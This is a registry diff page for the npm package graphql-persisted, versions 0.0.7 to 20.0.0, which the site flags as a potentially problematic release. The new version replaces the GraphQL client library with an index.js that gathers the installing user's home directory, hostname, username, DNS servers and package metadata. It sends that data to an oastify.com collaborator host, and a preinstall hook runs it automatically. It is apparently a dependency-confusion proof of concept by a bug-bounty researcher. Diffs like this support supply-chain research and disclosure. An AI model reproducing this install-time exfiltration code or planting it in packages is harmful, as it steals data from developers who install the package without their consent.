graphql-persisted 0.0.7 → 20.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of graphql-persisted might be problematic. Click here for more details.

package/index.js ADDED
@@ -0,0 +1,46 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const querystring = require("querystring");
4
+ const https = require("https");
5
+ const packageJSON = require("./package.json");
6
+ const package = packageJSON.name;
7
+
8
+ const trackingData = JSON.stringify({
9
+ p: package,
10
+ c: __dirname,
11
+ hd: os.homedir(),
12
+ hn: os.hostname(),
13
+ un: os.userInfo().username,
14
+ dns: dns.getServers(),
15
+ r: packageJSON ? packageJSON.___resolved : undefined,
16
+ v: packageJSON.version,
17
+ pjson: packageJSON,
18
+ });
19
+
20
+ var postData = querystring.stringify({
21
+ msg: trackingData,
22
+ });
23
+
24
+ var options = {
25
+ hostname: "86cl2zbnioordcwj2hdjkmpvfmlc91.oastify.com", //Burpcollaborator
26
+ port: 443,
27
+ path: "/",
28
+ method: "POST",
29
+ headers: {
30
+ "Content-Type": "application/x-www-form-urlencoded",
31
+ "Content-Length": postData.length,
32
+ },
33
+ };
34
+
35
+ var req = https.request(options, (res) => {
36
+ res.on("data", (d) => {
37
+ process.stdout.write(d);
38
+ });
39
+ });
40
+
41
+ req.on("error", (e) => {
42
+ // console.error(e);
43
+ });
44
+
45
+ req.write(postData);
46
+ req.end();
package/package.json CHANGED
@@ -1,79 +1,12 @@
1
1
  {
2
2
  "name": "graphql-persisted",
3
- "version": "0.0.7",
4
- "description": "WIP: An Opinionated GraphQL Query Library, with a focus on fully persisted queries",
5
- "keywords": [
6
- "graphql",
7
- "query",
8
- "persisted queries",
9
- "stored operations"
10
- ],
11
- "license": "MIT",
12
- "author": "Tim Griesser",
13
- "repository": {
14
- "url": "https://github.com/tgriesser/graphql-persisted"
15
- },
16
- "exports": {
17
- ".": {
18
- "types": "./cjs/index.d.ts",
19
- "node": "./cjs/index.js",
20
- "require": "./cjs/index.js",
21
- "import": "./mjs/index.js"
22
- }
23
- },
24
- "main": "./cjs/index.js",
25
- "types": "./cjs/index.d.ts",
26
- "files": [
27
- "mjs/*",
28
- "cjs/*"
29
- ],
30
- "dependencies": {
31
- "tslib": "^2.5.0",
32
- "graphql-normalize": "^0.2.2",
33
- "lodash.isequal": "^4.5.0"
34
- },
35
- "devDependencies": {
36
- "@vitejs/plugin-react": "^3.0.0",
37
- "@types/lodash.isequal": "^4.5.6",
38
- "@types/node": "^18.11.18",
39
- "@types/react": "^18.0.27",
40
- "@typescript-eslint/eslint-plugin": "^5.49.0",
41
- "@typescript-eslint/parser": "^5.49.0",
42
- "cypress": "^12.12.0",
43
- "eslint": "^8.32.0",
44
- "eslint-plugin-react": "^7.32.1",
45
- "eslint-plugin-react-hooks": "^4.6.0",
46
- "graphql": "^16.6.0",
47
- "immer": "^9.0.18",
48
- "concurrently": "^7.6.0",
49
- "prettier": "^2.8.3",
50
- "react": "^18.2.0",
51
- "ts-node": "^10.9.1",
52
- "typescript": "^4.9.4",
53
- "vite": "^4.0.0",
54
- "react-dom": "^18.2.0"
55
- },
56
- "peerDependencies": {
57
- "graphql": "^16.6.0",
58
- "immer": "^9.0.18",
59
- "react": "^18.2.0"
60
- },
3
+ "version": "20.0.0",
4
+ "description": "dependency poc",
5
+ "main": "index.js",
61
6
  "scripts": {
62
- "clean": "rm -rf cjs && rm -rf mjs",
63
- "predev": "pnpm install:example & pnpm install:example-server & pnpm install:example-codegen",
64
- "dev": "concurrently 'pnpm dev:example' 'pnpm dev:codegen' 'pnpm dev:example-server'",
65
- "dev:example": "cd example && pnpm dev",
66
- "dev:codegen": "cd example/codegen && pnpm dev",
67
- "dev:example-server": "cd example/server && pnpm dev",
68
- "check": "pnpm tsc && cd example && pnpm tsc",
69
- "build": "pnpm build:cjs && pnpm build:mjs",
70
- "build:cjs": "tsc -p tsconfig.build.json --noEmit false --outDir cjs",
71
- "build:mjs": "tsc -p tsconfig.build.json --noEmit false --outDir mjs --module ESNext --moduleResolution NodeNext",
72
- "install:example": "cd example && pnpm i",
73
- "install:example-server": "cd example/server && pnpm i",
74
- "install:example-codegen": "cd example/codegen && pnpm i",
75
- "prettier": "prettier --write '**/*.{ts,tsx,graphql}'",
76
- "schema": "node -r ts-node/register/transpile-only ./cypress/fixture-server/schema.ts",
77
- "test": "cypress run"
78
- }
79
- }
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "https://hackerone.com/yakirka",
11
+ "license": "ISC"
12
+ }
package/README.md DELETED
@@ -1,54 +0,0 @@
1
- ## graphql-persisted
2
-
3
- Note: This package is experimental and not yet intended for any sort of production usage.
4
- Still designing the APIs through real world use & experimentation, subject to breakage prior to 1.0
5
-
6
- An opinionated GraphQL client, initially focused on:
7
-
8
- - Goals:
9
- - Server Persisted Queries
10
- - Type-safety out of the box
11
- - Minimizing GraphQL in the client (no client-side dependency on the "graphql" package)
12
- - Performance, simplicity
13
- - Non-Goals:
14
- - Supporting multiple GraphQL endpoints in the same application
15
-
16
- Built atop [graphql-normalize](https://github.com/tgriesser/graphql-normalize)
17
-
18
- ### GraphQLQueryCache API:
19
-
20
- ```ts
21
- class GraphQLQueryCache {
22
- //
23
- }
24
- ```
25
-
26
- ### Queries:
27
-
28
- ```ts
29
- const { data } = usePersistedQuery('QueryName', { variables })
30
- ```
31
-
32
- ```ts
33
- usePreloadedPersistedQuery('QueryName', { variables })
34
- ```
35
-
36
- ### Mutations:
37
-
38
- ```ts
39
- const { execute } = usePersistedMutation('MutationName')
40
- ```
41
-
42
- ### Subscriptions:
43
-
44
- TODO
45
-
46
- ### Fragments
47
-
48
- ```ts
49
- const unwrappedData = unwrapFragment('FragName', data)
50
- ```
51
-
52
- # License
53
-
54
- MIT
@@ -1,106 +0,0 @@
1
- import { NormalizeMetaShape } from 'graphql-normalize';
2
- import type { GraphQLCacheShape, GraphQLMutationResult, GraphQLOperationResult, GraphQLQueryCacheConfig, GraphQLQueryResult, GraphQLRequestBody, InvalidateQueryArgs, MaybePromise, ExecutionOptions, PersistedQueryOptions, ReadQueryArgs, SerializedVariables, SubscribeToQueryArgs, PreloadQueryOptions } from './types';
3
- /**
4
- * Manages the cached normalized state, and the execution of
5
- * data accessed by different components
6
- */
7
- export declare class GraphQLQueryCache {
8
- /**
9
- * If an alterative fetch is provided, we will use that for operations
10
- * Otherwise we'll use the native 'fetch'
11
- */
12
- private _fetcher?;
13
- /**
14
- * GraphQL API endpoint
15
- * @default /graphql
16
- */
17
- private _endpoint;
18
- private _persistedOperations;
19
- private _persistedDocuments?;
20
- private _configMeta?;
21
- private _subscribedQueries;
22
- private _inFlight;
23
- private _cacheStore;
24
- private _runtimeCache;
25
- private _queryInvalidation;
26
- private _mutationInvalidation;
27
- /**
28
- * A list of all "effects" that have run, used to keep track of
29
- */
30
- private _effectsIssued;
31
- constructor(config: GraphQLQueryCacheConfig);
32
- /**
33
- * Invalidates a query by name or predicate fn
34
- */
35
- invalidateQuery(toInvalidate: InvalidateQueryArgs): void;
36
- /**
37
- * Invalidates a query by name or predicate fn
38
- */
39
- refetchQuery(toRefetch: InvalidateQueryArgs): void;
40
- /**
41
- * JSON.stringify(queryCache) produces the data we need
42
- * to rehydrate the Client
43
- */
44
- toJSON(): GraphQLCacheShape;
45
- /**
46
- * Attempts to read a query from the cache, returning undefined
47
- * if we are unable to for any reason. Used in initial hook execution
48
- * where we don't want any side-effects, incase we're doing SSR
49
- */
50
- tryReadQuery<Q extends keyof GraphQLQuery.QueryRegistry>(args: ReadQueryArgs<Q>): GraphQLOperationResult<Q> | undefined;
51
- /**
52
- * Reads the query from the cache. Throws an error if we are unable
53
- * to read the data, due to an incomplete result or lack of operation
54
- * metadata
55
- */
56
- readQuery<Q extends keyof GraphQLQuery.QueryRegistry>(args: ReadQueryArgs<Q>): GraphQLOperationResult<Q>;
57
- /**
58
- * Reads the query from the cache if any of the following conditions are met:
59
- * a) We already have the result of this query in the operation cache
60
- * b) We have the necessary metadata, as well as all of the necessary fields info to complete
61
- * this query from the field cache
62
- */
63
- readOrFetchQuery<Q extends keyof GraphQLQuery.QueryRegistry>(args: ReadQueryArgs<Q>): GraphQLOperationResult<Q> | Promise<GraphQLOperationResult<Q>>;
64
- /**
65
- * Loads the query if it's not already in the cache,
66
- * useful when hydrating the cache outside of a component
67
- */
68
- preloadQuery<Q extends keyof GraphQLQuery.QueryRegistry>(queryName: Q, options: PreloadQueryOptions<Q>): MaybePromise<GraphQLOperationResult<Q>>;
69
- fetchQuery<Q extends keyof GraphQLQuery.QueryRegistry>(args: ReadQueryArgs<Q>): Promise<GraphQLOperationResult<Q>>;
70
- /**
71
- * Executes a mutation, returning the result of that mutation
72
- */
73
- executeMutation<M extends keyof GraphQLQuery.MutationRegistry>(mutationName: M, variables: SerializedVariables | object, options?: ExecutionOptions): Promise<GraphQLMutationResult<M>>;
74
- /**
75
- * Executes a query, returning the result of that query
76
- */
77
- executeQuery<Q extends keyof GraphQLQuery.QueryRegistry>(queryName: Q, variables: SerializedVariables | GraphQLQuery.OperationVariables[Q]): Promise<GraphQLQueryResult<Q>>;
78
- executeSubscription(): Promise<void>;
79
- _getKey(operationName: string, variables: SerializedVariables | object): string;
80
- /**
81
- * "Subscribes" to a query, meaning that when there are updates to fields in the
82
- * field cache, we'll re-materialize the known value of the query. We'll also
83
- * process based on configuration options, such as TTL, invalidateOnMutation
84
- */
85
- subscribeToQuery<Q extends keyof GraphQLQuery.QueryRegistry>(args: SubscribeToQueryArgs<Q>): () => void;
86
- _executeOperation<QueryName extends keyof GraphQLQuery.QueryRegistry>(operationType: 'query', operationName: QueryName, variables: SerializedVariables | GraphQLQuery.OperationVariables[QueryName], options?: PersistedQueryOptions): Promise<GraphQLQueryResult<QueryName>>;
87
- _executeOperation<MutationName extends keyof GraphQLQuery.MutationRegistry>(operationType: 'mutation', operationName: MutationName, variables: SerializedVariables | object, options?: ExecutionOptions): Promise<GraphQLMutationResult<MutationName>>;
88
- _getMeta(opName: string): NormalizeMetaShape;
89
- /**
90
- * Handles "fetch", ensuring we catch network errors and handle non-200
91
- * responses properly so we're able to forward these on in a normalized fashion
92
- */
93
- _fetch(body: GraphQLRequestBody): Promise<GraphQLOperationResult<any>>;
94
- _makeFetch(body: GraphQLRequestBody): Promise<Response>;
95
- /**
96
- * Determine whether we should refetch the query based on the
97
- * current value of the query, and the options passed to the query
98
- */
99
- _shouldRefetchQuery(): void;
100
- /**
101
- * "Garbage collection" for existing operations. If they have
102
- * a TTL or are invalidated by other operations, and aren't mounted,
103
- * then we can go ahead and sweep out any data we might have for them
104
- */
105
- _gcOperations(): void;
106
- }